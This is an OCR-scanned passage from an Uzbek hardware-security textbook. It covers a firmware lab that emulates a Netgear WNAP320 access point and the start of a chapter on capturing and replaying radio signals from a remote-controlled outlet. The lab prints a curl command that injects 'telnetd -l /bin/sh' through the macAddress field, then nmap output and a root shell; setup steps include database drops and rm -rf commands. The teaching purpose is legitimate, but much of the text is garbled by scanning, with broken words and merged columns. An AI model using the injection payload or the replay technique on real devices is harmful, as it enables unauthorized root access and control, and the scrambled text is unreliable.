mknod,mktemp, modprobe, more, mouny, mountpoint, :;rv, r;;'ilmﬂfie:’i‘?::;:: J”f;f' ’:fii?dj;g‘{f" ;
pldal, f'ug. Pipe_progress,pivol_rool, Poweroff, printeny, P"'f'”-&f Ps P'-!"d reai‘in&. fc&c‘fpr'r;ﬁk’-""'
bool, renice, reset, resize, rm, rmdiy, rmmod, route, runlevel, seq .ve( Yc;f'i}'ff Y/ l-kuh‘m-’?h sleep.
sort,start-stop-daemon, stat, Strings, su, sul ' .5.1,:;,; .n'.k);,';." .:m{ ;«m- ;ree. tel-

ogin, switch_roof, syne,
M, udhcpe, udhepq, umount,uname, uniq, unix2dos.

call binary
dley, Denys Viasenko and others. Licensed

net, ®telnetd, test, tfip, time, top, touch, true
uptime, usleep, veonfig, vi, watch, we, wget, which, who, whoami xargs, ves, zcat

Agar biron bir vaqtda oldingj
motlar bazasi va mubhitni qayta i
bajariladi:

8 psql -d postgres -U Jirmadyne -h 127.0 0.1\

= - -¢ 'DROP DATABASE Tirmware

Password for user JSirmadyne:

$ sudo -u postgres createdp -0 firmadyne Sirmware
8 sudo -u postgres psql -d firmware \

= < ./database/schema

8 sudo rm -rf Jimages/* 1qy. gz

S sudo rm -rf scratch/

Hozircha dasturiy ta’minot TAP qurilmasi sifatida ko‘rsatilgan IP manzilda

is};:a'shi kﬁr&}f‘ Shunil_'lgdek, QEMU-dan foydalanayotgan kompyuterdan tap vir-
;u 1r‘1telf_3YS1g.a ulanish kergk. Virtual mashinada veb-brauzer ochiladi va quyi-
a ko'rsatilganidek, IP manzilga ulaniladi. Veb-xizmat javob berishini bir daqiqa
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. i o‘rnati iy ta’
kutish kerak bo-ladi. chunki emulyatsiya mm““;’_ rnatilgan dasturiy
10°liq ishga tushirish uchun biroz vaqt talab gilina

Netgear - Mozilla Firefox

m o & =
- ~ 72 192 1680 100
e 2 @ :

WNAP}EO
| > roSofe
: N E T G E A R Wireless N Access Point
i

Login
Usemame
Password
LOGIN
mc:ﬂ:um'

. . “lib.,
Hisob ma’lumotlari admin / parol borl

. ; co°rsati
tasdiglash uchun bu yerda ko'rse

Netgur-Moﬂlla Firefox

i | - & 9 m o o =
192.168.0.100
Wik o WNAP320
ProSote
. Wiroless N Access Pont
NETGEAR

n
Configuraliol F—
Security

System P | Wirsless

Ggeneral
General Aerd
netgear1 234556
Fige i Access Point Name Lkt States
Advanc "
Regio
Country |
1
2 3

B
Coprighs ¢ 19662010 Meigest £ -

minotni

uni hujjatlarda topish mum'kin. Faqat
loandek taqlid qilingan yo'rigchiga kiriladi.

‘!3[

B —



Laboratoriya ishi 21.5: Firmware nj ekspluatatsiya gilish

Hozircha QEMUDA Netgear VNAP320 proshivkasi taqlid qilindi. Endi pro-
shivkadan foydalaniladi. Domain va jamoa FIRMADYNE da ishlaydigan dastu-
riy ta’minotda buyrugq inyeksiyasining zaifligini topdilar. Proshivka bilan zaiflikni
va nimadan foydalanish mumkinligi korib chigiladi:

S nmap 192.168.0.100

Starting Nmap 7.01 ¢ .frrfp.?.‘//nrf.'an org)at2017-12-10 2154 EST

Nmap scan report for 192.168.0.100

Host is up (0.005 55 latency).

Not shown: 997 closed ports

PORT STATE SERVICE

22/tep open ssh

80/tep open hup

443/1cp open hips

Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds

0S8 curl -L —-max-redir 0 -m 5 -s /-X POST |

> -d "macAddress= 000000000000 telnerd -1 ‘bin/sh; & re

http://192.168.0. 100/boa dDataW iy php

<himl=

<head>

<title>Netgear</title>

<style>

<truncated for brevity>

S nmap 192.168.0.100

Starting Nmap 7.01 ( hrfps:xf’mnap‘org Jat2017-12-10

Nmap scan report for 192.168.0. ] 00

Host is up (0.0022s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

22/tcp open ssh

23/tcp open telnet

80/tcp open hup

443/tcp open hitps

Nmap done: 1 IP address (1 hos up) scanned in 2.39 seconds

§ telnet 192.168.0.100 '

Trying 192.168.0.100...

Connected to 192.168.0. 10,

Escape character is "]"

‘home/www # [s

BackupConfig.php boardDataww pp, i g
login_header.php packe (Capture.phpsay, E‘O Tﬂife?;;ﬁiff‘:z;i:; data.phpheader. php  index.php

<truncated for brevity=>

homewww # id

Ouid=0root) gid=0(root)

‘home www 4

ginfo=1&write Data=Submit" |

22:00 EST

Oldingi xulosadan so*ng shuni ta’kidlash kerakki. o‘rnatllg@ q‘o-blq'qa kirish
buyrug-i khi ritildi@. Telnetd-1 /bin/sh argumenti standag‘t portlorqall 0 mat_[] gé_l.n qo-
iqqa kiri i /bin/s ‘lash imkonini beradi. Endi nmap tekshiruvi port
bigqa kirish va uni /bin/sh ga bog'lash im e e e pa
23 ochiq ekanligini ko*rsatishi kerak®. Da.stun’}’ ta Tg?aiaham v shundg}:
e ] sedli®, Retiy e mu']f(’l)'kd taqlid ;]ilingan dastu-
qilish mumkin bo*Isa-da. bu yerda gilingan hUJ_UI'“kZ?' s;tac?in ngircha R
ry ta’minotda ganday foydalanish muEnkm'lg'“‘ ]?:inai llmiumiar oo ooy
qurilmaga muvaffaqiyatli kirdi va uni tarmogqa keyingt fit

lang*ich nugqta sifatida ishlatishi mumkin.

Xulosa o
dinamik nuqtai nazardan zaifliklar ko‘rsatib
a

taqlid qilingan nuqtai nazardan buqu[zmi
a = 2 " : di. Brsdav
/ 1ishni ko*rsatadi. 3

qabul gilish bilan bog'liq zaiflikdan qanldaz ;?ﬁia;?parat s, By
b = L . \Y F . | : ham

holda, zaifliklarni aniglash mumkinligin! Sl st

-kspluatatsiyalar ! ’
‘Onsepsiyani ishotlash uchun Lks-lz;]ud‘[‘ami}zki \ehbu usullardan foydalangan
bilib olish imkanini beradi. Umid gi g
olish imkonini beradi.

i iffi i 1iqla)’ ladilar

i gl zalﬂ:klarm ar . 0-

. ]da hu'f“'UHC]]i['ll' u‘rnatilgan qurl]tllallardaﬁal] ————" e i
- DUZg g g : :

Va U]Ell'l'li *}Tll'l'lill"ln lmiiallashliradllar yva shu b num n X
s = ol

shilaydiar.

Ushbu bobda tahlil Slatilf v
0°tildj. Shuningdek. u dinamik v

Qo‘shimcha marll)balz;g -
4 i/ ARP_sp g
ARP spoofing cn.\\-'ikiped’a'org/“lkl/
BusyBox  busybox.net +shub.com/ReF
Craig Heffner’s Binwalk ‘r[ )
Craig Heffner’s blog (_c]reitfo /Ettercap
Ettercap  ettercap.githud . WAE e B iy
FirmAg github.ccnnfprowrb;ﬁle Emulation of 1T

i df
W aroe- ‘ _4 firmae-slides.p
. FirmAE: Towards Largf-gﬂ020/ﬁ[e5/web/6;'m;lad)’ne
'c;\nalysis“ Www.acsac.ors com/ﬁrmadyne
irmadyne GitHub

Ghidyry ghidra—src.ol'g/

irmLabs/ binwalk

pinwalk) www.devttys0.com/blog/
f bin

dabiyoﬂﬂr
. pedded Syste!
m /blog/arc

Telnet to Upload a
e /2012/07/hac-

ns.” Schneier on Se-

jlgan :
Foydalan! : hives/2014/01/secu-

: 1 of EM
: isks b =
“Gecurity R Sc}mctel.co

1 Bruce Schneier, ps://www.

iy, January 9, 2014, (htt 54G, Usi
Y_tisks him). king the Linksys ‘Zl-//wWw.devﬂ}’So-com
3 . “Hackl . 5 /)
Bina‘ygr?g;@g{}?so July 12, et-’tc:-l.lplc:'ad-"ﬂ‘b'naIy
e finky . wmbsdgusing "

Cur
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3. Manguen Kim, Dongkwan Kim, Eunsoo Kim Suy i 20Ng: [ yOS ;
. - - suyeon Kim. Yeongan Kim, DIV TAMINOT ASOSIDAGI
and Yongdae Kim. (https:ffgithub.com!vaSrtyfF]RMADYNE). 22-BOB. DASTURIY TA MINOT ASO
4. Dominik Chen, FIRMADYNE,

: DR
(https://github.com/dominik-cz/FIRMAD- S
YNE).
3. Kim. op. cit.
6. Dominik Chen. “D-Link/Netgear FIRM

Ushbu bob quyidagi mavzulaﬂ?' = ']Chlsgglgl)?:g;s;n ishlashni boshlash
ADYNE Command Injection/ « Dasturiy ta'minot bilan bog'liq rad10‘ (' CRAPE)tahlil qilishning bosgich-
Buffers Overflow.” Packet Storm, February 26, 2016. CVE 20[6-1555.-hllp5:/!’ * Oddiy radiochastota (RF) qurilmalarini ®
packetstormsecurity.com/files/135956/ !

D-Link-Netgear-FIRMADYNE-Com- ma-hosaich iaravan
mand-lnjection-Buﬁ‘ers-Overﬁow_hth- g a-bosqich jarayoni

parcha sohalarida mavjud. Garchi bu quri_lma-
ta erkinlik taqdim etsa ham, ula_r yaqin va
ham ochib beradi. Masalan. giziquvchan

Simsiz qurilmalar hayotning -
lar simlardan voz kechish orqali ka

; ek imkoni rini ) A .
masofadan hujum qilish imkoniyatla a erishish binoning perimetridan oshib ke
. sOro
ko*zlardan vopiq o‘rnatilgan sensorg
: n yopiq o‘rnatilg

«oi kirishni amalga oshirish lozim.
tadigan simsiz sensorga qaraganda anchf'l il cll\l]irtlrsihshunchaii ko*ngilsiz hara-
Albgua simsi;: sinnal;a kirish imkoni)fafx ma;];:ﬂa;di g g o
katlar a‘ma]u-a osh?risl; mumkinligiga kafolat be '

‘o . : s hun yetarli darajada

niy atlany }aratadl.' RF) «akerlik-bu bitta bobda yoritl§li)1 ::avjudydasturi}’ it
. IRad:ochastotﬂ]‘l ( .d oddiy qurilmadan foydglanpl cll dasturiy ta’minot va

o I ma;l_sg (SDR) SDR uchun ochid LC“ lm‘cmsus simsiz proto-

n . ot radi 2 < arim

iaor; t,”lal-‘]mlqlaniil:irishdin qolaversa,-maXSlllS ijo\t: iinovdan o°tkazish jarayon-

.kollbocllj 1t'ancllallll adigan mahsulotlarni baholash

ardan foydalanadig
lari ko*rib chigiladi.

:1an tanishish . _
SDR;:: I;]:;It;ponemlar yordamida qayta ishlanma-
dastur

rilad! i “lib
Jadigan radioaloga bo‘lib,
ishlash uchun amalga oshirtladig
gan ma’lumotlarni gayta !

mli signal rotsessorlariga tayan-
f RF apparatura V& raqamli signal p
dqatgina dasturga XoS

Linux ishlayotgan kompyu-
: un, masalan, : .
waydi. SDR signalni 487’2 IShlaShol:zli;a resurslaridan foydalanadi, shuningdek,
' '01SESS &

. : i raturasini
ter kabi umumiy maCIS.ﬂfﬂl pr uzatish uehun umumiy maqti::;iR lfir?: ]zia ehtimol
Ma’lumotlarni gabul qilish Y& ™ 1y gignal va Oyt shlash obilise-
Ishlatadi. SDRning arzalllklg-ﬂ.ll;;o‘lgan) firmware pal.{etl 21‘ ql?;/a ishlab chiquvchi/
Uzoqdan yangilanishi mgg;“;angi tizimlarni prototip quis
tidir. Bundan tashqari,

‘i taqdim etadi.
ladqicl()tc}1iga moslashuvchanhkm q

SDR — bu moslashuvchan

. . 'sh kerak? ‘ st
Nima sotib [::ega bo‘lingandandan so'ng, yangt ja
tushunchag kRF, bladeRF, va USRP kiradi.

R misoll?efjgz IIEB portidan foydalanadi va GNU
yu

SDR nima ekanligi hagida

r ; . . keldi. SD
ayonni topish vaqti +ar biri komp

Ushbu qurilmalarning

Py -



Radio kabi ochiq manba dasturlari bilan ishlatilishi mumkin. 22
uchta qurilmaning tezkor taqqoslanishini taqdim etadi.

.1-jadvalda ushbu

Arzon SDR’larni taqqoslash

22 1-jadval.

Ishlash chastotasi radionin
Masalan, Bluetooth
ishlaydi. versiyasiga
orqali ishlaydi. Ham It Up Nano kabi
ravishda pasaytirish uchun mavjud.

Chastota kengligi dastur/
spektri miqdorini bildiradi.

Masalan. HackRF firmw
diapazonida skanerlashi
gi bilan Bluetoothning

imkoniyati mavjud (80 MHz),

Duplex ikki tizimning bir-bir bilan

lex qurilma bir vaqtning o‘zida uzatish

lex, siz taxmin qilganingizdek, qurilma
konini beradi, lekin bir vaqtning o‘zida
kie va ko*plab kompyuter
bir vaqtning o*zida aloga q
ma’lumotlar yo‘qoladi. Fu
duplexi tahlil samaradorli

Analogdan raqamli k
qilishi mumkin bo‘lgan

l;ﬁ}

g qaysi chastotalarga mos|
2.4 GHz va 2.48 GHz oralig‘ida 40
qarab. FM radio 87.8 MHz va 108 M}

qurilma tomonidan skaner|
Ro‘yxatga olingan chastota
» @Mmo yuklangan firmwarega qa
are versiyasi 2017.02.01 yoki ur
i qo*llab-quvvatlaydi.
barcha kanallarini bir \%

emas,

Voice over [p (VolpP
ilishga harakat qilga
II duplex ko‘proq m
gini kamaytirishi eht
onversiya (ADC
alohida voltaj qj

HackRF bladeRF 2.0 micro USRP B200
XA4 ]

Ichki chastota I MHz to 6 GHz 47 MHz to 6 GHz 70 MHz to 6 GHz
Chastota kengligi 20 MHz (6 GHz) 56 MHz 56 MHz
Duplex Yarim To'liq To'lig
Shina USB 2 USB 3 USB 3
ADC aniqlik darajasi | 8 bit 12 bit 12 bit
Har soniyada | 20 MSps (million 61 MSps 61 MSps
namunalarning soni samples per second)
Taxminiy narx $340 $4380 $900

imol emas.

asha olishini aniglaydi.
dan 80 gacha kanalda
1z oralig*ida 101 kana!
qo’shimchalar, pastki chegaralarni samarali

ash mumkin bo*lgan RF
kengliklari tegishli veb-
rab farq qilishi mumkin.
1dan keyin to*liqg 6 GHz
Kengaytirilgan chastota kengli-
aqtning o‘zida monitoring qilish

qanday aloqa gilishini bildiradi. Full dup-
va qabul qilish imkonini beradi, Half dup-
ma’lumotlarni uzatish va gabul gilish im-
Half-duplex aloqalarga walkie-tal-
) dasturlari kiradi, Har ikki tomon
nda to‘qnashuvlar yuzaga keladi va
oslashuvchan bo‘lsa-da, SDR ning

) aniqlik darajasi har bir namuna gabul
ymatlari sonini bildiradi. Masalan, 4V

afs i iglik darajasi 15.6 mV yoki 0.39 fo-
voltaj diapazoni bo*lgan 8-bitli ADC ning aniglik At ik daraiasining
4) Glapaz : s . zlioi bilan birgalikda, ADC aniqlik darajasining
izni tashkil etadi. Namuna olish tezlig : ko-rsahtishini vanada aniqroq qiladi.
ionalnine ragamli J i
TP BT 51:_3113!111!_“.[.1 te?g;icvi USB throughput, CPU, ADC konvertori
E’lon gilingan namuna B lsb ”]i: Masalan, USRP B200 ning 61 MSps qiy-
1 i ] s g * - » = . . . g
L T’:.-. icsihl'nishna asoslangan; ammo, tizim 8-bitli
mati 16-bitli kvadratura namuna aril s;zlar;ishi mumkin, bu esa namuna olish
kvadratura namunalari [Shlamh, Her ‘llab-quvvatlanadigan HackRF namuna
tezligini ikki barobar oshiradi. Kamroq qo lﬂ tqmtiiasidir S
b 3 hroughput nati] .
olish tezligi tanlangan ADC va [,JSBI- | bir nechta kabel, dummy load. attenu-
SDR sotib olishdan tashqari. ?h“moq antenna sotib olish kerak boladi. La-
: ; i onlariga ege ——— ordam bera-
ator va turli chastota diapazonlaris 1i ajratishga yordam ber;
bor'lt(;ri\-'a:wi?dll qurilmalamni sinash uchun, -][nal?b;alzzrurjbo‘lmasa-c[a. 2.4 GHz
dizz':m \-'E)‘:};flli_['iluall antennalar foydalidir. Nl, e ;]J\r;1tsi\*a palatasi (yoki quti) juda
ka%i umumiy chz;stolalar bilan ishlashda odd"\, ke ]in::an har bir SDR taxtasida
foyd I'nt ‘lishi mumkin. 22.1-jadvalda ro yxaga Osugminiature version A) ayol
1\0-\[) EIH in lSt a antennalarni ulash uchun SMA (
‘abel, attenuator v
ulash porti mavjud.
qoidalarni bilish va tushunish S
: i — radio. telefon, sun’ty yo'l-
_ i hisobga olinsa : o
dagi simsiz ralar soni hisobga 9 k" ¢ilot mavjud bo‘lishi
ARSI S qun]nh'woni boshqarux-'ch: biror tasl&kll“;qsi\ a:‘i (FCC) va
- A m - kaZO e L ; . = 10 a omis -.r i
ibsn{. Wi g: V;atomqhkilotlardan |kk1taSII Tkéc}ief(lgghdg FCC RF spektrini bosh-
antigiy. Bunday tas g — ] 4 : ;
]-1-11(]*1?.(; Telekommunikatsiya Ittifoqidir ¢ ko*pchilik RF spektrida uzatish
alqa ]e

A ilmalar bilan : : . .
qaradi va SDR kabi litsenziyastZ .qu'“!]:llz]l‘tish uchun litsenziya olish ”Chm.] qcnd_ala:
. : :sh kerak. Radio 1 .. ¢ on topshirish kerak. Litsenziya-
uchun litsenziya olish ker . vchi imtihon top ; ,
y ovish etu . T ma’lumot olish
hm'n]a 31 f\sh]atish qoidalari haqida ko*proq
ravishda 1

a tashrif puyuriladi.

va reglamentlarni bilis
lash va radio qonuniy \

" o
uchun www.arrl.org sayltig

i o‘reanish

‘o ali o'rgan " bk Rk

Misol Orqgj qurilmani baholash jarayonini ko‘rib
Fan:,"

g i ; ishlatishni o‘rganish
ga tcgishli dasturlarni qanda) g
iqi un
chlqlladi. shunda SDR va

hee R va GNU Radio vo-

izimi, HackRF SD ) :

mumkin. Ushbu bob davomida. Ubuntturg:;ltkasi baholanadi. Bu qurilma tanlovi
' quvvat 1oz

i ichi g ish
i : iq SimsiZ : itta bob ichida qamrab olis
Sitalarini ishlatib. yopiq SIM® entarda mavjud va bitta

bt . , ish qulayligi sa-
orly inv . i narxi va foydalanis

maxsus emas. faqac; dl.ly;l chkRF xuSUSI}’aﬂa”‘- & har qanday arzon SDR platfor-

uchun yetarlicha oddiy-

. ‘ladigan dastur
babli tanlandi. Bob davomida AT APE deb ataladi, bu Search
Masj bilan ishlashi kerak. o umumiy jarayon SCRAnalee (Tahlil qilish), Pre-

Ushbu bobda k"""’atwfl-lgha) Replay (Takmﬂ?sr)‘rining qisqartmasidir.
(Qidirish), Capture (Yeg '];e’cute (Bajarish) s0 12
View (Ko‘rib chigish), va &

SDR bilan tanishgandan so'ng: 3



[

Eslatma! Qurilmalar va rozetkalar maso

sivalarining sotib olish vagtida kafolatlanma
ratoriva ishi mavjud emas.

fadlan !’?r)\;Ian{.'a"‘f'\f; gurilmalari ver-
ganligi sababli. by bo limda labo-
‘I.'-\'U." apparal maviie

[ bo'lsa voki ishni simulvaisiva
gilinishi kerak bo lsa, GNU

s S _
Radio ogim diagrammalari, o raatish ko rainiala-
ri. 1o 'plangan favllar va manba kodlarini kiterhy

ng vitklab olean savidan topish
mumkin.

Qidirish
SCRAPEjarayonining qidirish bosgichida. maxsus jihozlardan foydalanmas-
dan radio xususiyatlari haqida iloji boricha ko*prog ma’lumot olinadi. FCC radio
spektrini boshqarish bilsayu, lekin aksariyat uzatuvchi qurilmalar FCC tomoni-
dan sertifikatlanishi hagida keraklj ma’lumot bo*Imasligi mumkin. Sertifikatlan-

gan mahsulot yoki modulga FCC D raqami beriladi va u mahsulot yoki modulda

ko‘rinishi kerak. Bu FCC ID RF Xususiyatlarini tadqiq gilish uchun qidirish kaliti
bo‘ladi.

® ®

g

' Q
i ON OFF
3 ; ’ |
| || @
' .'I 1 "
! 1T

|

22.1-rasm. Masofadan boshgaruy qum’h—ﬁa..;'r'

Ko'rib chiqilishi kerak bo‘lgan qurilma Prime Indoor Wireless Power Qutlet
ma;cfadan boshqarish qurilmas; (22.1 -fasm). Ushbu bobda davom etish uchun bu
QUnIm'ani sotib olish shart emas. Masofadan boshgqarish qurilmasining FCC 1D
rgq‘arrfl QJX-TXTNRC. ID mahsulotning tashqi qismidajoylashgan yorliqda to-
pilishi mumkin_ FCC Ruxsatnoma Qidiruv Uskunas;i bu qurilma uchun hisobotni

B W

¢ kPR » ishlati _ mu-
topa olmaydi. agar mahsulot kodi sifatida -T)?TNRC dlsihla.tlll::_aslial:atll;l:'ai rl“ -
ammolardan qozhish uchun, qidiruvga Google’dan foydalaniladi, :
Qooglc.comfsearch?q:t'cc+QJX-TXTNI?i(i; T
feeid.io veb-sayti odatda yuqort naty s i —
n s B diapazonii?jI'D.'Ok:'l::aztacliaigan bi'r nechta }L;avolangan hujjat-
i i dvle 3 15.0 F\AHZ) ekan Iglnl 3 " " tlSh
]qfll'ti 'li l_k-ﬂll‘lg?l ;ﬂli topish mumkin. Ushbu hisobotlar tshlaih chzistc?ta;in\_f ;;Ztao-l
ar va hisob ; ; ottt bl A
turini ko*rsatadigan namuna to*lqiniar. Pa]k'etaizl;lgihiﬁl]asﬁ chastotz diapazonini
A = 3 . . = -Z lc -llg " . ; i
chovlari v: i pulslik kengllklal’lnl? - ‘ng hisobotning
bo;;ilf‘:ll;ln\' ;lc::’:ugla sifatida ishlatiladi va test yakunlangandan so*ng

qolgan gismi tekshirish o°rnida qoldiriladi.

3 . ash va saqlash (Capture) .
Signalni “Sh::; h:)I da. SDR va testdan o‘tayotgan qurilma
1 foydalang lash uchun yetarli ma’lumot bor. Bu nuqta-
ot (gnuradio va HackRF vositalari) o‘rnatil-

o 00 75 MHz dan 1
gan bo‘lishi kerak va 315 MHz qabul qaluv'cl}l amen'?:égﬁgihiqi]masa-da. B
E](FT:' 0' o cIrE:) el;Iadi O‘rnatish jarayonint t*)e"’OI;]C)l'VIBSnil‘lg prefix argumenti
Boé gacha) ta E-ld fo ,-d.alanishni va vositﬂl‘arm- 13 i uy papkasiga o‘rnatish orqa-

.. L z[t;si(ia o*rnatish tavsiya etiladi- ]n lva}ke]ajakd;gi yangilash mu-
)prc}amlda uy pap ) bilan tajriba O'Ikazts? ! O iieh eavlidla:
li, bir nechta konf‘lguratsl}’alar Kitobning yuklab o ytida,

N . ¢ di
. ol imkoni bo‘la . : bob
Ammolaridan osongina quullllstolfrsatmalan GNU Radio Companion uchun
. " . [T aK
Vositalarni o‘rnatish bo’yich

: : ¢ tahlil
. a mavjud bo‘lmasa
; lari va qurilma mavju
. im diagramma i 0°z ichiga olgan READ-
d : ) an oqim di 4 ayllarni 0°Z £a olg
uﬂ;/mmda qay d‘ﬁmgumkiﬁ bo*lgan to‘plangan fay
Chun foydalanish m

l. f i "k. H I" il hga tLIShil‘iSh qua—

M = 4 a): 1 1' ()p Sl n‘lUI 1. i M pal‘llOﬂ daSTU mnt 1s ! : 3

Jg;\IU :{“ lilt() (;0:1‘[|Jal150“ (g ! : ki blr neChta Slg“ahll I y[ 1sh-
a ) -

ioa bir yO . .
i Tl lanuvehiga o o crarati imkon beruvchi GUI
:l lflhga tushin]sdll} *1 li;;lisf]‘?ﬁ_:a“ dasturiy radio yaratishga
ash bloklarini birlash

: i oydalanuvchiga
ida Python kodini ishlab Chlqa:?(i-lin\i’aist;ﬂﬁtish imkonini

fositasi. Bu vosita Orq.aSldE? bglgilash va Python Payonlo : 22.2-rasmda ko ‘rsatil-

L ohids OEZganwcm‘l arﬂli nsignalni gan q!![Sh uckllzr “al;eli daraxtini ko‘rib

beradi. K elajakdagi tahlil ueh -2at qilish mumKin- Blf)]_ dg} B s i

8an oqim diagrammasbilg ak:];? ll:;Jlan tanishish tavsiya qiinadl. ;

chigishga va mavjud blo

AN i |dan ko‘rib chigish za-
-qarini 22.2-jadva : ;
diagrammasida ishlatilgan bIOkIa]r 1;1:::‘:1": schun, ma’lumotlarni replay va offline
mallash :

*ur. Uzatishlar miqdorini lﬂiﬂ!1 sinki ishatiladi.
tahlil uchun yozish uchun fay

Ishlash chastotasidan ! e
(DUT) bilan tajriba o*tkazishga bos
da, SDR (HackRF) va dasturiy ta minot

] iV T, ¢ ] ;
i muhim ahamivarga ega,
Jastotast i
anal ¢he

.fm/m'ida kerak boladi.

= figi vak
'.‘,’;Jl"’-{'ll r’””f

g . VIR
Eslatma! Namund olish al
. . *3
hunki ylor offtine yositalal




remote_analysis_replay €

remote_analysis.gre - /GH6

remote_analysis €

Options Variable Varlable
Output Language: Pythor Id: samp rate Id: treq
Generate Options: T GUI Value: a4 Value: 116M

nd

Sync: Unironr
Number Channels: 1

Sample Rate (sps): 4M

ChO: Frequency (Hz): 116M

Cho: Frequency Correction (ppm): 0
ChO: DC Offset Mode: 1
Ch0: IQ Balance Mode: 0
ChO: Gain Mode: Falis
ChO: RF Gain (dB): 0
Cho: IF Gain (dB): 1¢
ChO: BB Gain (dB): 1

osmocom Source

PS QT GUI Frequency Sink
= FFY Stze: 1 024k
U center Frequency (Hz): 316u |9

= Bandwidth (Hz): 4m

—

Flle: capture. remote. 3 gr

File Sink

Unbuftered: on
Append fle: Overanite

22.2-rasm. Qabul gilish ogim diagrammasi: remote

_analysis.grc

22.2-jadval.
Qabul qilish uchun kerakli GNU Radio bloklarning tavsifi

Nom | Magsad Parametriar
Variantlar Um‘umiy f)q.im diagrammasi ID: Generatsiya qilingan Python kodining
variantlarini taqdim etadi nomi.
Gen_erate Options:GUI ramkasi (standart
bo‘lib QT ishlatiladi). Siz fagat shu qarorga
mos keladigan bloklardan foydalanishingiz
mumkin (QT yoki Wx).
Osmocom Qurilma bilan interfeys uchun | Namuna olj igi i
: a olish tezligi:H a-
Source qabul giluvchi taqdim etadi larning soni. il
Ch0: Chastota: Moslashish uchun ishlatiladi-
gan tashuvchi chastota (DC ofsetini hisobga
olish uchun 316 MHz ishlatiladi).
Cho: RF Gain: Odatda, bu nol bo*lishi kerak.
agar sizda maxsus sabab bo‘lmasa.
Fayl Sink Namunalar faylga yozilishi ke- | Fayl: ili
3 una - | Fayl: Qabul qil i /1
rakligini belgilaydi nomi. FHARE D, 19

I D

B

QT GUI Chas-
tota Sink

Qabul gilingan signalni chas'to-
ta va amplituda nugqtai nazari-
dan grafikka tushiradi

Markaziy chastota:Grafikdagi o‘rtadagi
chastota (ChO chastotasiga teng bo*lishi
kerak). . N
Chastota kengligi:Namuna olish tezligiga
teng gilib sozlanadi.

O*zgaruvchi

Kuchli o*zgaruvchilarni taqdim
etadi, masalan, Namuna olish
tezliei kabi umumiy qiymatlar
uchun foydalanish uchun

Qiymat har ganday gonuniy Python ba-
yn;mti bo*lishi mumkin. Misol uchun,

int(400/27).

Qabul qilish bosqichida. har .bir taf‘IShlS
qilish lozim. DUT bilan tanish sun-ml)-atol‘ a
rish tugmasini bosishdir. Qurilmaning
masofadan boshqarish qurilmasi 1a4qos
test hisoboti ma’lumotlariga ko‘r.a_.
kerak. 22 3-rasmda ko‘rsatilganide

kelishini kuzatish mumkin: bu test U

timulyator uchun fayl olisl1ga harake_n
¢ har bir rozetka L!Chun.}’OC]lSth'Fhlj
protokolini yaxshiroq tushumsﬁ L'lchun ikki
lash uchun ishlatiladi. HOlZl.l'gl t_wqtaFla.
7 atrofida yoki o‘zidg otll{&l;-hx}:l ko‘rish
: ingdek, 316 MHz da otilish yuzaga
r k‘o;:::t?iz?ng artefakti (DC ofset? bo°lib. test

chastotada namoyon bo‘ladi va shuning

315 MH

; \ kaziy , L 5 ;
Uchun muhim emas. DC oisﬁlzlal‘a so)z]an“an' Hozirda keyingi bosgich. Replay
M . vy Z a =
uchun qabul giluvchini 316 28
uchun yetarli ma’lumot to-plandi.

-

Relative Gain (dB)

-40
-60
-80 -

-100

‘ I
il iy WWW |

-120

Remote Anal‘yﬂs

" 25 dB
314 986 MHz. -40.23

|
I

00
| o 315 500 316.0
315.00 uency (MHz)

314.500 Freq

22.3-rasm. Qabul gilingan signal

G
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' - Y?g‘ilgan signallarni qayta ijro etish (Replay)
S_lgnalnl qat?ul qilingandan so‘ng, ma’lumotni qayta o*rnatish vagtidir. Ma'lu-
g‘i‘::‘ l“"t“"’aﬂ:fllyat“ qayta o‘rnata olmaslik ma’lumotni to*g'ri ‘qabu?qi]ilimauan-
¥ . ~1 muhim bo“lgan tizimlarda ruxsatsiz kirishni oldini
iosh?:ti:‘i‘;}}’]“;‘o?;?reﬂi}"C:Oralar_lnl ko rlsh'kerak. Bunday qurilmaning umumiy
i Shu:*in i gl?1 ! venulyator }'Okl.bOS]'lqa oddiy qurilmani yoqish yoki
i de).:a taxmi%n UQI_Uﬂdl‘_ep[ay hUjllm.[aI'I f:}?timol yengil va himoyasiz bo*lishi
il o tud qilinadi. Replay hujumining asosiy magsadi. hagiqiy proto-
Reo ];q; E:)SS L;E?a_Sdan q.urllrpam muvaflagiyatli ishga tushirishdir.
fagat ondi faylnl manbe sitatide o mmasi Capture bosqichiga o'xshash boladi
el aeh atida va osmocomni sink sifatida ishlatiladi. Signalni
Qo"shim:;a ::;pilguna ol:§h tezligi va chastotani bir xil saqlash kerakf
lari 22.4-rasmdagi (1;:'& ?;rumply Cﬁonﬁt! -QT GUI Time Sink, va Throttle blok-
Thtottle CPU foyda]angishn'mkaga qo S'hildl_. bu moslashuvlarni osonlashtiradi.
ni samarali cheklash uchunI ta;l::{?ystilr:l]fhb(;l‘cll;]u; QOX;Shilgan_ agar ma’lumotlar-
o°chirilgan bo*lsa va thro ‘q bo* 5. Asosan, agar osmocom sink
lik cheklovehisiz boladi t\filegSL? fP ° o, fayldan o'gilayotgan ma’lumotlar tez-
oydalanish yuqori bo*lishi mumkin.

w\%

remote_analysis_replaygrc - [GH6

Help

T a7 o *
— = .
Options | Wariable Varlable
Output Language: F '™ | b samp rate s ey
| Generate Options: 07 G5 | | Value: 4M Value: 11EM
File Source

File:  emoted. 3an.dm-316mte |

Repeat: i Multiply Const |
Add begin tag: !/ Htomhnl:-t

| Omyer: 0 e

| Length: C J

<

Threttie —
Sample Rate: 1V 'r

| QT GUI Time Sink
i MNumber of Points: [ 023
| Sample Rate: 14

| Autescale: ho

esmocom Sink
Sync: Uranown PPS
Number Channeh: 1
Sample Rate (sps): 24
©ni: Frequency (Hz): 214

QT GUI Frequency Sink |

FFT Sire: L 023 forres

159 Center Frequency (Hz): 118V !“q g::’;“;"’:‘::‘.’“‘”"'"""“
Bandwidth (Hz): 3 _Jlm Cne: IF Galn (48): 20
S €ho: BB Gain (dB): 20

ASyne_mugs

22.4-rasm. Replay ogim diagrammasi: remote _analys

is_replay.gre

22.5-rasmdagi uzatilgan signalning amplitudasi —0.2 dan 0.2 gacha bo‘lib.
bu rozetkaning gabul qiluvchisi uchun yetarli kuch bo‘lmasligi mumkin. Bu ho-
latda, ko*paytiruvehi konstantani 4 ga o°zgartirib, yana qayta o‘ynash mumkin

(22.4-rasmdagi oqim diagrammasida allagachon aks ettirilgan).

o, / N ¥
Al..s.’amm. Ishlavorean ogim diagrammasini 1o "¢ i 10 » -
